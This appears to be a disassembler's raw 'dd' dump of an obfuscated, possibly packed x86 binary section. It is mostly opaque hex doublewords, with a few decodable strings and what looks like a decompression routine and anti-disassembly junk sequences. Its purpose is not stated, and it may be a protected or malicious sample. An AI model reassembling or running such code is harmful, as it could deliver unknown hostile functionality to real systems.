		dd 8DD03B2h, 2B001F9Ah,	9E8h, 7CB6D000h, 0EA802F50h, 8B66CE58h
		dd 8F585BDFh, 0EB813704h, 68FBEB01h, 83CE8B66h,	0CF8B01EEh
		dd 804E4E4Eh, 0FE81DDD1h, 0FFFF98A0h, 1A850Fh, 0C38B0000h
		dd 23E9h, 451E2E00h, 94E6FDBAh,	0C7B96E2Bh, 23D3E866h
		dd 25A8A0D8h, 0EADECB81h, 68E96C51h, 20FFFFFFh,	1D987E5Eh
		dd 6C4E9h, 698D0100h, 17060620h, 1F000002h, 0BA0C7DB9h
		dd 31EF941Eh, 0F000061h, 1581h,	10E900h, 87C50000h, 1C93CB9Dh
		dd 0CDE2FA20h, 3C71A12Bh, 0E9602E92h, 10h, 0C675612Eh
		dd 519A5281h, 0AC27B173h, 568778FDh, 0B8h, 1C880F00h, 0F000000h
		dd 1686h, 11E900h, 0DE7E0000h, 6BB26E82h, 0AFE01D05h, 261C9981h
		dd 8B3E3598h, 60282454h, 6192B2F9h, 28998589h, 0BEF80606h
		dd 3Ch,	247403F9h, 0C8A0F24h, 0F000000h, 684h, 810F00h
		dd 66000000h, 0E9B660ADh, 6D5FD781h, 3616347h, 60242444h
		dd 4D9D0950h, 58060633h, 0AE8h,	0EA01D000h, 3483BCCFh
		dd 6629638Bh, 5FC424BAh, 8B0F9061h, 0Ah, 50616060h, 5A310F52h
		dd 0E9506158h, 0Fh, 80222DA9h, 6BAC7527h, 0C3F5F52Fh, 90F04414h
		dd 1CA99589h, 408B0606h, 0BF0F6078h, 61FA8BCEh,	28244403h
		dd 2EBE6660h, 12E8C5h, 5A8B0000h, 56083998h, 4535D941h
		dd 0E796E1CFh, 6B748A71h, 8C0Fh, 615B0000h, 118408Bh, 62B698Dh
		dd 66604006h, 89A702BEh, 621659Dh, 85896106h, 60639CAh
		dd 8BFC58FCh, 8B0F7870h, 1, 0FE9F9h, 5BF00000h,	51B2CCA9h
		dd 0C40E09DBh, 2E818A0Ch, 1CC6839Fh, 2E5D9D89h,	74030606h
		dd 9D292424h, 606121Dh,	11B5BD8Dh, 10E90606h, 0DC000000h
		dd 0A1728D42h, 349469FAh, 0B588356Ah, 0AD8EDA70h, 4403F8FCh
		dd 8A0F2424h, 6, 999531h, 0E9AB0606h, 0Ah, 3E2D8D5Fh, 79CF6D75h
		dd 0BD8D4C9Eh, 606211Dh, 1D39B589h, 0FCAD0606h,	0DE18509h
		dd 44030606h, 29602424h, 61229B5h, 61ECB306h, 0BB666050h
		dd 9E985C1h, 1F000000h,	546C29CAh, 25B537F6h, 24048961h
		dd 0EE9h, 97B60D00h, 89F0F88Eh,	837EEB97h, 0AB77EB7Eh
		dd 6820Fh, 9D890000h, 6060421h,	0E4DBD8Dh, 8D290606h, 6062FE1h
		dd 158D89ADh, 3060626h,	9282444h, 62C89B5h, 9D29AB06h
		dd 60628F5h, 0EC80605Eh, 4D858B51h, 61060612h, 23359D89h
		dd 8DFF0606h, 60639CAh,	39CABD83h, 75000606h, 2444C710h
		dd 1Ch,	0D9B58D00h, 0FF06063Eh,	3AD56E6h, 97282444h, 858ADF8Bh
		dd 60601C1h, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h
		dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh
		dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h,	5449F381h
		dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h
		dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 289985FFh, 6FE90606h
		dd 5EFFFFFFh, 800F60h, 0E8000000h, 9, 0C0A64601h, 0D424BC62h
		dd 13E978h, 0AB310000h,	0B139639Bh, 3803DF8Dh, 5E381FC2h
		dd 91EEB546h, 0F9615A80h, 2F0D9D89h, 0B5310606h, 6061AD5h
		dd 2899858Bh, 95890606h, 6062C0Dh, 8589E0D1h, 6062FCDh
		dd 0FE9h, 989E6D00h, 0EB07C13Dh, 0D0A6960Eh, 1E9AF98h
		dd 0E4D8503h, 0E9600606h, 13h, 8E9F518Eh, 743D1D70h, 0AA398A34h
		dd 908CC0B0h, 665EAA67h, 1B85E281h, 60F62B61h, 0E9858960h
		dd 906061Bh, 601A1B5h, 81666106h, 617777EAh, 2C019509h
		dd 0E9960606h, 0Ah, 0B4955BACh,	51B3C2C4h, 0AD66050Ah
		dd 0C870Fh, 66600000h, 0FEE79BEh, 8Fh, 0E0C16100h, 6890F02h
		dd 31000000h, 613019Dh,	0B5850306h, 0E9060611h,	0Ah, 0F1BA0100h
		dd 8B3D4AD1h, 6660070Ah, 30B4E281h, 68E0Fh, 830F0000h
		dd 0
		dd 0ADFC9661h, 14E9h, 0C64F9200h, 945D4E1Bh, 17E46398h
		dd 0B344754Fh, 0F53D2493h, 244C8B7Bh, 18890F24h, 0E9000000h
		dd 13h,	0F566CA3Ah, 144EE076h, 0B2C684A1h, 63F6E873h, 3DB42AAh
		dd 0F5242444h, 1C244489h, 2F158D01h, 0FC960606h, 3141BD89h
		dd 89AC0606h, 633CD95h,	0FC93206h, 18Dh, 0C1FEF500h, 0FD0D0FCh
		dd 0CD83h, 5E900h, 0B37A0000h, 0D0750089h, 0BB830FD0h
		dd 31000000h, 6002985h,	0FD0D006h, 0AD82h, 0D0D0F500h
		dd 0A4820Fh, 8B600000h,	6016985h, 81958B06h, 6106061Ch
		dd 890FC9FEh, 0FFFFFFB9h, 18890Fh, 13E90000h, 0D8000000h
		dd 955BAC05h, 0B3C2C4B4h, 86050A51h, 0CA755D89h, 0C48326B7h
		dd 9D8B6020h, 606173Dh,	2BA99D31h, 0C7610606h, 0FC2444h
		dd 0F000000h, 0C8Fh, 68C0F00h, 89000000h, 6235D8Dh, 0B5858906h
		dd 0B8060603h, 1, 0DE95360h, 86000000h,	0E75F6FE6h, 3D706EF0h
		dd 5D372EA9h, 8509525Ah, 6060F41h, 0BD29615Ah, 606242Dh
		dd 71788D8Dh, 9D010606h, 606100Dh, 160E1FFh, 60F018Dh
		dd 85C66106h, 60601C1h,	0B70F6000h, 16161D6h, 60265BDh
		dd 8C206h, 2D85BD09h, 0E9500606h, 9, 0FBAE64D6h, 0D2035939h
		dd 243489E2h, 68F0Fh, 85890000h, 60603C9h, 4077B589h, 820F0606h
		dd 17h,	12E9h, 0CFF00E00h, 0A6840162h, 406420A6h, 4F3806Eh
		dd 89FB8F8Eh, 6407D8Dh,	0DB50906h, 8D060611h, 63F67B5h
		dd 858DF506h, 5B7E35h, 7E9h, 0CAAA1B00h, 17249DF6h, 5EFCD0FFh
		dd 1399D89h, 0FCC30606h, 4077B58Bh, 0B5310606h,	60627EDh
		dd 407D8D8Bh, 85310606h, 6062311h, 0B8h, 0E5853100h, 8B06062Bh
		dd 619D01D9h, 0E906061Eh, 0B5h,	5E9h, 9F197400h, 2632EBC6h
		dd 7E860h, 164F0000h, 0E874F1E7h, 6E9E1h, 42660000h, 0F126C3Fh
		dd 38A0F58h, 66000000h,	0B261CE8Bh, 5E902h, 0E38E0000h
		dd 0E9164AF0h, 5Dh, 0BE9FCh, 0CEE00000h, 0E7226ACBh, 37E6B9Dh
		dd 0FCC23289h, 751D7A05h, 14E98Ah, 0B6B90000h, 0A11D8C9Bh
		dd 765EA833h, 7832EB3Bh, 0C74F99D2h, 0CC8A9DACh, 0FCC8D3F5h
		dd 0BA5BD31h, 42350606h, 0E998D108h, 12h, 85D22C47h, 0ADE321CFh
		dd 0F5DD1EF6h, 9B9D971Bh, 0CAFE0C2Dh, 0FD20AF5h, 0FFFFAC85h
		dd 294BF5FFh, 62581B5h,	8F0F4606h, 1, 0FDB0BF5h, 0FFFF4D85h
		dd 0C8C0FFFh, 0F000000h, 687h, 0A5850100h, 0CF06061Bh
		dd 0BE9h, 80DD4B00h, 67427E48h,	0A7D7664Ch, 0FC0000h, 0F900h
		dd 890000FCh, 63039BDh,	0F5858D06h, 60060639h, 445958Bh
		dd 65B80606h, 610161D2h, 30ED8589h, 0BD090606h,	60628D5h
		dd 3EF5858Dh, 810F0606h, 6, 295D9589h, 85890606h, 6062AA1h
		dd 14E8h, 0FEC47000h, 2E477F74h, 13C97CC5h, 1BBA73C4h
		dd 0B5073B02h, 0BE665FF5h, 0C7819FDCh, 759Eh, 13E9h, 0CA3FF000h
		dd 8A5521C9h, 27445970h, 0C7CC2C89h, 899BF943h,	0BAh, 0F1858B00h
		dd 0FF06062Dh, 0E5BB3A34h, 596B430Bh, 11E8h, 5B9DD700h
		dd 0F71A4944h, 3CF1BF5Fh, 0D162FF12h, 0F60CBD5h, 8C0FF6BFh
		dd 0
		dd 0C1815B61h, 23B56D1Bh, 9B31C181h, 8B505449h,	62181B5h
		dd 0E9815806h, 7EA6220Eh, 89C18B66h, 8B60170Ch,	61ECDBDh
		dd 0EE86106h, 93000000h, 9A2CCFDAh, 0B999442Bh,	0BB64E988h
		dd 0C5850346h, 5E060630h, 7CA1EA81h, 0BD0117DBh, 6061F1Dh
		dd 7C9DC281h, 816617DBh, 814086D0h, 0FF8B80FAh,	31850FFFh
		dd 0E8000000h, 0Ch, 2ACE512Fh, 2ABA40B0h, 0A593C264h, 7C80EB81h
		dd 0E9587C86h, 33h, 6BEDF92h, 55A7B98Eh, 0F6139330h, 5C89F774h
		dd 4087425Eh, 10E9h, 69693900h,	9B2838B9h, 7EA68CCEh, 38BCB610h
		dd 0FF25E955h, 0F723FFFFh, 0EB9643EEh, 14h, 3 dup(0)
		dd 8B00h, 0AB858D00h, 89060642h, 62B2D85h, 0F4BD8306h
		dd 60641h, 11A840Fh, 85C60000h,	60601C1h, 0D7916856h, 4819420h
		dd 0FE95A824h, 1DB5FF3Fh, 8D060632h, 639F585h, 89D0FF06h
		dd 641E885h, 0C185C606h, 56060601h, 0D7B2AC68h,	2404814Dh
		dd 4ED105A6h, 321DB5FFh, 858D0606h, 60639F5h, 8589D0FFh
		dd 60641ECh, 0FC68046Ah, 8140B3FAh, 0EAFC2434h,	858B40B3h
		dd 60641F8h, 1F405h, 2E0C100h, 24048950h, 95FF006Ah, 60641ECh
		dd 41F08589h, 0D88B0606h, 0FFFFFFB8h, 2D95FFFFh, 8B06062Bh
		dd 2D95FFC3h, 0E906062Bh, 84h, 41F4BD83h, 0F000606h, 185h
		dd 8B57C300h, 641F0BDh,	8583AB06h, 60641F0h, 83C35F04h
		dd 641F4BDh, 850F0006h,	1, 0AD8360C3h, 60641F0h, 0F09D8B04h
		dd 83060641h, 0FFFFC7Bh, 1D85h,	0BEBA6800h, 34817A3Dh
		dd 3D3EBA24h, 0FF006A7Ah, 0E895FF33h, 61060641h, 1DE9C3h
		dd 0E5680000h, 81070116h, 96E52434h, 6A0701h, 95FF33FFh
		dd 60641E8h, 41F0AD83h,	0E9040606h, 0FFFFFFB1h,	1ADE948h
		dd 8B600000h, 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h
		dd 2BBh, 0FD20200h, 585h, 46168A00h, 830FD212h,	0FFFFFFE2h
		dd 850FD202h, 5, 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h
		dd 585h, 46168A00h, 830FD212h, 12Ah, 850FD202h,	5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 0C013D212h, 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h
		dd 2, 0FFFF70E9h, 1B8FFh, 0D2020000h, 5850Fh, 168A0000h
		dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh
		dd 1BBC32Bh, 0F000000h,	3485h, 1B900h, 0D2020000h, 5850Fh
		dd 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h, 820FD212h
		dd 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh
		dd 46068A08h, 1B9E88Bh,	2000000h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C913h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFDE82h, 7D003DFFh, 830F0000h, 22h, 5003Dh, 0E820F00h
		dd 41000000h, 2BF78B56h, 5EA4F3F0h, 0FFFEB4E9h,	7FF883FFh
		dd 3870Fh, 0C1830000h, 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh
		dd 68AFFFFh, 0C0C93346h, 840F01E8h, 17h, 8B02D183h, 0F78B56E8h
		dd 0A4F3F02Bh, 1BB5Eh, 76E90000h, 2BFFFFFEh, 8928247Ch
		dd 611C247Ch, 0BA0008C2h, 929h,	9D3E9h,	0F6ED6B00h, 5838D00Fh
		dd 70606C71h, 73616821h, 5505A2A0h, 0ACE02C76h,	2C7C5E14h
		dd 0EAFF674h, 0F6CB36D9h, 547ADB02h, 22777E79h,	74737972h
		dd 3A4EADE5h, 0A6EA5C15h, 207D4300h, 0CAFF626h,	0F6C839DFh
		dd 4B7AC102h, 22686464h, 6F6D656Ch, 5140B9F2h, 0B1A66876h
		dd 6D6C4304h, 19E1F774h, 0F6DE2DDFh, 4A35C71Bh,	2C686A64h
		dd 63h dup(0)
		dd 0F6ED6B00h, 4434DA06h, 22776462h, 676F7271h,	100DA1F2h
		dd 0E3F56D70h, 627D5503h, 15AEE526h, 0A48C3CDEh, 4434DB1Eh
		dd 6B256C78h, 6F79206Fh, 4340B2F5h, 0A6F27F61h,	1121E0Ch
		dd 1A4EF56h, 0F6803DC3h, 4236DB1Eh, 6B256F77h, 72662075h
		dd 5D40ADEFh, 0B1E9617Dh, 62791018h, 5B3A362h, 0A4CD2CC3h
		dd 4223951Fh, 72257963h, 72676F73h, 4EADE1h, 48h dup(0)
		dd 0F6ED6B00h, 4E3BC708h, 25776E7Dh, 6F742072h,	5840ACEFh
		dd 0A1A67F79h, 2C765504h, 0EB4EC60h, 0A3DE78D4h, 4333DB05h
		dd 6C6C2B71h, 756F7921h, 4913E0F2h, 0AEE3786Bh,	5C153A4Fh
		dd 13A0E66Ah, 0A38C74D5h, 4C35D905h, 766C2B72h,	6F726621h
		dd 550DE0EDh, 0BAF46375h, 68765141h, 13A4F126h,	0A2DE39C4h
		dd 5835CC4Bh, 70752B64h, 6172676Eh, 0EEEDh, 61h	dup(0)
		dd 0BFEA6B00h, 4E7AD007h, 77777979h, 64657471h,	6440EEA1h
		dd 0E3F56570h, 6B774211h, 40ACE274h, 0F6DF39D8h, 433FD009h
		dd 6C646636h, 6C757068h, 5405B4E1h, 0A7E86D38h,	75795D41h
		dd 6DCBE664h, 0A58B2CD9h, 4B34DC4Bh, 67716873h,	79622065h
		dd 6640A1A0h, 0B0F37E71h, 2C6A5F41h, 3A0F165h, 0F8C83DDBh
		dd 4432E14Bh, 6B632B65h, 7720656Dh, 4447AEEFh, 0B1E97B38h
		dd 6279100Ah, 12AEEE7Fh, 76D5h,	0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2BD1E9h, 0BD896000h,	60615E9h, 1315BD8Bh, 0FC610606h
		dd 2BDD9D09h, 0C08B0606h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 6BC35141h, 0BE9h, 83824500h, 49288622h
		dd 0F9DE9706h, 8E9h, 0A2F76700h, 59E36D41h, 0D1BD8305h
		dd 60630h, 0BD830975h, 60604B5h, 50137400h, 0B8C08B53h
		dd 1, 0B1039D8Dh, 0D3FF0608h, 0BD83585Bh, 60604B5h, 50117400h
		dd 1B853h, 9D8D0000h, 608AFB4h,	585BD3FFh, 1A9B589h, 8B0F0606h
		dd 3, 8BCBE680h, 0A5BD89C0h, 83060626h,	627DDBDh, 840F0006h
		dd 297h, 2FE88160h, 616D6D41h, 15B18D89h, 0BD830606h, 6062E1Dh
		dd 7C840F00h, 0BB000002h, 2C3B2571h, 0DD9D0360h, 8B060631h
		dd 62E1D85h, 5E906h, 0CBA40000h, 0B2A7C958h, 3E805CBh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 67F9F7C3h, 6E19C58Dh, 8A0FAEFFh, 19h, 14E9h
		dd 42239D00h, 0EFC0495Ah, 0AD1B3BC6h, 0E9CBA3FEh, 89788FF5h
		dd 8E890AFh, 9F000000h,	77081090h, 60D20A6Ch, 0CE8h, 658C2300h
		dd 5AD24B8Dh, 0FA8DDA39h, 0BDB75ACDh, 66505A61h, 6090D18Bh
		dd 8948DB80h, 6026D8Dh,	858D6106h, 6064EA6h, 7E9h, 4ED10D00h
		dd 0BDC699FBh, 0E859D89h, 60500606h, 0F0B05250h, 860F310Fh
		dd 0
		dd 6653585Ah, 615EF78Bh, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 2947C352h
		dd 62F4DB5h, 13E806h, 0C87C0000h, 6CBF646Dh, 0D6647E92h
		dd 97541B94h, 7F298F0Ch, 91B58922h, 5B060601h, 9E9h, 413C6E00h
		dd 8D0EF047h, 858D64E6h, 6064E84h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0E9C35343h,	0FCF964F7h, 66525050h
		dd 310FDA8Bh, 0D6BE6660h, 922FB81Bh, 5A613F3Ch,	24048958h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E1C35646h
		dd 5902C13Eh, 81EB2706h, 98B371EAh, 39D28164h, 0FF685EE6h
		dd 6338995h, 0DE806h, 0DA910000h, 0C57CE175h, 0B96B5652h
		dd 801F769Ah, 835A88DFh, 0EA810CC4h, 18681BA5h,	4E84858Dh
		dd 8A900606h, 0DA8B50D3h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 15BD89F4h
		dd 8B06061Eh, 62F2195h,	0DD858906h, 6A060617h, 52006A02h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 645E263Ah, 0B2E598B6h, 659D23D0h, 0FF060617h, 68857495h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 3B78812Ch, 0F28166C5h, 800F37D7h, 0
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 7DF3874Bh, 0DCC54E93h, 0DE964h, 17EC0000h
		dd 0B4296227h, 0B952A6F8h, 0C75D62D3h, 64EB785h, 106h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 8A0F134Dh, 8, 0FEB96660h, 61D38BC1h, 501BB296h
		dd 96D18B66h, 68B589FCh, 0E806064Eh, 0Fh, 13A418B1h, 860A28F1h
		dd 2A543040h, 5B4E82FEh, 16999D29h, 0BD830606h,	6061D3Dh
		dd 3D850F01h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 64F9C357h, 0BB48B38Bh
		dd 0EBB66BAh, 0D6BF0FECh, 0F05F883h, 0B85h, 0D68B6600h
		dd 0B8h, 0D98B6600h, 2C8DBD83h,	0F000606h, 1884h, 0D9BF0F00h
		dd 0E6D38166h, 0B861h, 81660000h, 8927AEF2h, 625C5B5h
		dd 0F606006h, 68Fh, 59BD8900h, 8906060Bh, 62C398Dh, 858B6106h
		dd 60615F1h, 17B5958Bh,	0C0830606h, 57006A02h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 11E99F62h
		dd 8589D98Bh, 6064E60h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 9DC35242h, 0ABC89AB3h, 8BFEC5A0h, 60F259Dh
		dd 0BD8B6006h, 60611B9h, 0C661FCh, 0F6AB2FFh, 688h, 0D958B00h
		dd 0C6060624h, 601C185h, 85295306h, 6062A89h, 142FAA68h
		dd 0AE8BDh, 0A4EB0000h,	2CE98044h, 1F2E012Ch, 2434815Bh
		dd 41A56772h, 9E9h, 0A6485800h,	9C295AA2h, 0B5FF3E01h
		dd 6061BDDh, 2E65B529h,	858D0606h, 6097A7Ch, 1880Fh, 0FFF90000h
		dd 0F19D8BD0h, 89060633h, 61AC985h, 0BD83F506h,	6062435h
		dd 0D8850F01h, 89000000h, 607C58Dh, 0E9606106h,	0Ch, 3DF268B8h
		dd 50FFD0A3h, 0D690B5A8h, 68F0Fh, 0B5890000h, 6062FC1h
		dd 0C185C661h, 45060601h, 0D41ABB66h, 811FEB68h, 0E852508Bh
		dd 12h,	6DF03C6Fh, 410D425Ch, 5F3FEB26h, 0EA1A8AF7h, 80BA400Ah
		dd 5B343FB4h, 6E8310Fh,	17000000h, 777048E2h, 0DF8B66E4h
		dd 81585A5Bh, 18D72404h, 0BD294EDFh, 6060D4Dh, 1BDDB5FFh
		dd 0BE80606h, 0A6000000h, 77BE5EE0h, 664AE052h,	8166A575h
		dd 5A0542EAh, 7A7C858Dh, 6A0609h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 8D2912C3h, 6061C1Dh
		dd 8529D0FFh, 6062DEDh,	1810Fh,	6AF80000h, 0F5858900h
		dd 0FF060621h, 0E99589D0h, 83060627h, 626DDBDh,	850F0106h
		dd 0B4h, 28E5958Bh, 858B0606h, 60615F1h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 0EFC35747h, 89B74DA1h
		dd 624E185h, 4D953106h,	0E9060626h, 46h, 8B905FB6h, 665050DAh
		dd 5A7A44BAh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 6AD78B3Eh, 0E5950314h, 0FF06062Ch
		dd 61AC995h, 1D958906h,	58060608h, 1669950Bh, 38800606h
		dd 0B3850F00h, 8BFFFFFFh, 13E953D6h, 27000000h,	8CBA6A13h
		dd 0ACF80A72h, 93EA5DDCh, 17F1680Dh, 0C65A0ED2h, 66B70100h
		dd 9AC38157h, 5B665094h, 830F61h, 83000000h, 62FE9BDh
		dd 840F0006h, 61h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 5C35747h, 6D439BCBh, 0F5FF6A7Dh, 1AC995FFh
		dd 0F600606h, 1088h, 0BE900h, 30920000h, 0FFAEE096h, 0F279FBEEh
		dd 840F56A4h, 0
		dd 0D2E9615Bh, 0FFFFFFFh, 0C83h, 7E900h, 0CC7C0000h, 0C59408B7h
		dd 0E985C7FAh, 106062Fh, 89000000h, 62C798Dh, 6C858906h
		dd 8906064Eh, 62C2D9Dh,	0D18A5006h, 8B240489h, 62C019Dh
		dd 56A6006h, 2F4D9D8Bh,	57B30606h, 4E84858Dh, 0BD010606h
		dd 6061161h, 89D88B50h,	850F2404h, 0Ch,	68F0Fh,	9D890000h
		dd 6062325h, 8DB9F680h,	64E7485h, 959D2906h, 8A060615h
		dd 8E990F9h, 82000000h,	62B61EC1h, 50229662h, 830F5250h
		dd 6, 310F5250h, 310F585Ah, 9E95250h, 88000000h, 87C210EAh
		dd 0CDF93DC0h, 9AB3310Fh, 585A585Ah, 0D99D8B90h, 0FF06062Ah
		dd 62FD995h, 21BD8906h,	2906062Eh, 600A19Dh, 1E8D8D06h
		dd 8006067Ah, 0C00B9CCAh, 858D1174h, 6064E84h, 89D1FF50h
		dd 64EA285h, 0C70AEB06h, 64EA285h, 0FFFFFF06h, 59589FFh
		dd 8006062Bh, 0B3614EE6h, 0C185C6B6h, 4D060601h, 3860F60h
		dd 0F000000h, 0BD0BF3B7h, 6063041h, 4E861h, 76A80000h
		dd 6660A435h, 60DA66BFh, 61616160h, 0F9BB6650h,	24448B85h
		dd 8B28B704h, 0B8F2BA00h, 44896F52h, 14E90424h,	0D000000h
		dd 0D0FF502Ch, 61D1D69Bh, 0DDA053B6h, 0C150CE17h, 58F8C0DCh
		dd 35A2DABBh, 259D8B7Ah, 0FF06062Bh, 600B5B5h, 8B4CB606h
		dd 7C858DD8h, 8B06097Ah, 61E0595h, 0E9D0FF06h, 0Eh, 2869C60Dh
		dd 918DFB52h, 0B051D9A5h, 8589CA01h, 6062F01h, 230DB501h
		dd 85C60606h, 60601C1h,	4D858945h, 6806061Ah, 284157BDh
		dd 5BB1E3BAh, 2404817Ah, 663111ACh, 0B5FF9AB2h,	6061BDDh
		dd 5850Fh, 0CEBB0000h, 0B7544418h, 7C858DE9h, 6A06097Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0A10EC355h, 0EE9A813Eh, 0FFF98AA8h, 57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 89833F7Fh, 896269B0h, 6039585h, 0AD958B06h, 8B06062Fh
		dd 66D58AD2h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0F14EA7C3h, 8166B41Dh, 0E98734E3h
		dd 0Ch,	97424EE6h, 760CD07Ah, 0DEC991A9h, 0F04C1F6h, 25084h
		dd 7FBB6600h, 176E999h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 8133C8C3h, 3C47FD35h
		dd 15E5958Bh, 9D290606h, 6061635h, 28FDB58Bh, 6A0606h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0D5B78FC3h, 1180C681h, 958B0000h, 6062001h, 5E9h, 2B74CA00h
		dd 0BD83048Eh, 606206Dh, 51850F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 2D6BC351h, 3FF77A1Ch, 6639F5CBh, 0B7E9D88Bh,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0CAEBC350h, 9D89852Dh, 60631D1h, 0F003E83h
		dd 8984h, 0C5858900h, 60060621h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 1Bh, 5CC35141h, 45EF5574h, 666BCAF1h
		dd 73F5EB81h, 0B529146Ah, 606024Dh, 1AC995FFh, 9D2B0606h
		dd 6060D59h, 0E932B261h, 0FFFFFFACh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0F4C35242h,	2960AF52h, 61255B5h
		dd 11E906h, 25AA0000h, 0A415E232h, 7C867Eh, 15AC5FAEh
		dd 61D8A6CEh, 6C7D78Ah,	1, 68D0Fh, 85290000h, 6063341h
		dd 7E9h, 757FF200h, 0DF0B9FF4h,	4E6CBD83h, 0F050606h, 0C485h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 8B66117Ch, 95B58BDAh, 89060603h,	630399Dh
		dd 64B906h, 95010000h, 6060F61h, 0FE83E80h, 884h, 0FE900h
		dd 0D3800000h, 57E8019h, 60840FC2h, 8B000000h, 6A46D8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 9EC231C3h, 0FCC4EC87h, 0F49C9B6h, 0FFFFB785h, 0D1B70FFFh
		dd 3CE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0F6E35487h, 0B73A9D84h, 819D8B96h
		dd 8906061Ch, 61E65B5h,	6840F06h, 81000000h, 0CF5AFAEBh
		dd 958B5839h, 6060BA5h,	329BD83h, 0F000606h, 0EA84h, 0F9958B00h
		dd 6006062Dh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	1CC35646h, 0C6BEC380h, 601C185h, 9D295406h, 606152Dh
		dd 459BB068h, 8E9ACh, 0CAD70000h, 9BE1BA11h, 481F911h
		dd 9234424h, 53006A53h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 709E15FCh, 0DDB5FF8Dh, 0B06061Bh
		dd 6073195h, 7C858D06h,	8B06097Ah, 627C595h, 0AD858906h
		dd 0FF060623h, 459D8BD0h, 6A060614h, 9D8B5600h,	6062151h
		dd 29B5FF5Ah, 6A060603h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0FF0AC356h,	0CD9D8BD0h
		dd 61060628h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	0AAC35242h, 0C59D8B50h,	0C7060630h, 61AF585h, 106h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0D43EAA47h, 11E8h, 0D35BC200h, 0D1339884h
		dd 0C974A0B4h, 67A9443Bh, 958B18BDh, 6060825h, 0BF0F605Ah
		dd 35368DBh, 0D68B5575h, 0D3243481h, 0E8557503h, 6, 0F5D981EFh
		dd 89512FFFh, 614458Dh,	6A5A5A06h, 6684B6FFh, 0FFC5D1BBh
		dd 6123D95h, 0D99D8B06h, 6106060Fh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0C9C35545h,	0F2F51A17h, 3405BD89h
		dd 0BA500606h, 1AA2FF87h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0CF9CC353h
		dd 9559D35Eh, 756D6B1Ah, 0CE9h,	17DC1E00h, 2732A817h, 0DFF1A057h
		dd 0D858BC7h, 0E906061Fh, 14h, 0CA480CC2h, 2865B9ECh, 0AB744A3Eh
